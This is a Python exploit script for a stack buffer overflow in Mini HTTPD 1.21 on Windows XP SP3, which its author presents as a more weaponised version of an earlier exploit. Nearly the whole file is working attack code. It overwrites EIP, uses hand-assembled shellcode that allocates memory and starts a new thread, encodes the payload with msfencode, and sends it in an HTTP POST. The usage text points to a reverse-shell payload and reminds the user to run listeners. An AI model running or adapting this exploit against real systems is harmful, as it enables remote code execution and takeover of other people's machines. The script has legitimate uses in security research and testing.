#!/usr/bin/python # # Title: Mini HTTPD stack buffer overflow POST exploit # Author: TheColonial # Date: 20 Feb 2013 # Software Link: http://www.vector.co.jp/soft/winnt/net/se275154.html # Vendor Homepage: http://www.picolix.jp/ # Version: 1.21 # Tested on: Windows XP Professional SP3 # # Description: # This is a slightly more weaponised version of the Mini HTTPD buffer overflow # written by Sumit, located here: http://www.exploit-db.com/exploits/31736/ # I wrote this up because the existing version had a hard-coded payload and # didn't work on any of my XP boxes. # # The instability of the existing is down to bad chars, and the parent thread # killing off the child thread when the thing is still running. This exploit # allocates memory in a safe area, copies the payload to it, creates a new # thread which runs the payload and then suspends the current thread. The # suspending of the thread forces the parent to kill it off rather than let # it crash and potentially bring the process down. # # Run the script without arguments to see usage.   import struct, socket, sys, subprocess   # Helper function that reads the body of files off disk. def file_content(path):   with open(path, 'rb') as f:     return f.read()   # Sent the payload in the correct format to the target host/port. def pwn(host, port, payload):   print "[*] Connecting to {0}:{1}...".format(host, port)   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)   s.connect((host, port))   print "[*] Connected, sending payload {0} bytes...".format(len(payload))   payload = "POST /{0} HTTP/1.1\r\nHost: {1}\r\n\r\n".format(payload, host)   s.send(payload)   s.shutdown   s.close   print "[+] Payload of {0} bytes sent, hopefully your shellcode executed.".format(len(payload))   # Create the part of the payload creates a thread to run the final payload in. def create_payload_thread(final_payload_size):   VirtualAlloc = struct.pack("<L", 0x7c809AE1)   # in kernel32   CreateThread = struct.pack("<L", 0x7c8106c7)   # in kernel32   SuspendThread = struct.pack("<L", 0x7c83974A)  # in kernel32     payload  = ""   payload += "\x83\xec\x02"   # add esp, 0x2 (aligns the stack)   payload += "\x89\xe6"       # mov esi, esp   payload += "\x83\xc6\x00"   # add esi, <some offset filled later>   count_offset = len(payload) - 1    # zero out ebx because we use zero a lot   payload += "\x31\xdb"             # xor ebx,ebx     # allocate some memory to store our shellcode in which is   # away from the current active area and somewhere safe   payload += "\x6a\x40"             # push 0x40   payload += "\x68\x00\x30\x00\x00" # push 0x3000   payload += "\x68\x00\x10\x00\x00" # push 0x1000   payload += "\x53"                 # push ebx   payload += "\xB8" + VirtualAlloc  # mov eax,<address>   payload += "\xff\xd0"             # call eax     # copy the payload over to the newly allocated area   size_bin = struct.pack("<L", final_payload_size + 4)   payload += "\xb9" + size_bin      # mov ecx,final_payload_size   payload += "\x89\xc7"             # mov edi,eax   payload += "\xf2\xa4"             # rep movsb     # create the thread with a starting address pointing to the   # allocated area of memory   payload += "\x53"                 # push ebx   payload += "\x53"                 # push ebx   payload += "\x53"                 # push ebx   payload += "\x50"                 # push eax   payload += "\x53"                 # push ebx   payload += "\x53"                 # push ebx   payload += "\xB8" + CreateThread  # mov eax,<address>   payload += "\xff\xd0"             # call eax     # We call SuspendThread on the current thread, because this   # forces the parent to kill it. The bonus here is that doing   # so prevents the thread from dying and bringing the whole   # process down.   payload += "\x4b"                 # dec ebx   payload += "\x4b"                 # dec ebx   payload += "\x53"                 # push ebx   payload += "\xB8" + SuspendThread # mov eax,<address>   payload += "\xff\xd0"             # call eax   payload += "\x90" * 4    # fill in the correct offset so that we point ESI to the   # right location at the start of the final payload   size = len(payload) + final_payload_size % 4    print "[*] Final stage is {0} bytes.".format(final_payload_size)     offset = struct.pack("B", size)     # write the value to the payload at the right location and return   return payload[0:count_offset] + offset + payload[count_offset+1:len(payload)]   # Creates the first stage of the exploit which overwrite EIP to get control. def create_stage1():   eip_offset = 5412  jmp_esp = struct.pack("<L", 0x7e4456F7) # JMP ESP in advapi32     eip_offset2 = eip_offset + 4    payload  = ""   payload += "A" * eip_offset    # padding to reach EIP overwrite   payload += jmp_esp             # address to overwrite IP with   payload += "\x90"              # alignment   payload += "\x83\xEC\x21"      # rejig ESP   return payload   # Create encoded shellcode from the given payload. def create_encoded_shellcode(payload):   print "[*] Input payload of {0} bytes received. Encoding...".format(len(payload))   params = ['msfencode', '-e', 'x86/opt_sub', '-t', 'raw',       'BufferRegister=ESP', 'BufferOffset=42', 'ValidCharSet=filepath']   encode = subprocess.Popen(params, stdout = subprocess.PIPE, stdin = subprocess.PIPE)   shellcode, _ = encode.communicate(payload)   print "[*] Shellcode of {0} bytes generated.".format(len(shellcode))   return shellcode   print "" print "MiniHTTPd 1.21 exploit for WinXP SP3 - by TheColonial"print "-----------------------------------------------------"print "" print " Note: msfencode must be in the path and Metasploit must be up to date."  if len(sys.argv) != 4:   print ""   print " Usage: {0} <host> <port> <payloadfile>".format(sys.argv[0])   print ""   print "          host : IP/name of the target host."  print "          port : Port that the target is running on."  print "   payloadfile : A file with the raw payload that is to be run."  print "                 This should be the raw, non-encoded output of"  print "                 a call to msfpayload"  print ""   print "   eg. {0} 192.168.1.1 80 reverse_shell_raw.bin"  print "" else:   print ""   print "   Make sure you have your listeners running!"  print ""     host = sys.argv[1]   port = int(sys.argv[2])   payload_file = sys.argv[3]   stage1 = create_stage1()   final_stage = file_content(payload_file)   thread_payload = create_payload_thread(len(final_stage))   shellcode = create_encoded_shellcode(thread_payload + final_stage)   padding = "A" * 0x10  pwn(host, port, stage1 + shellcode + padding)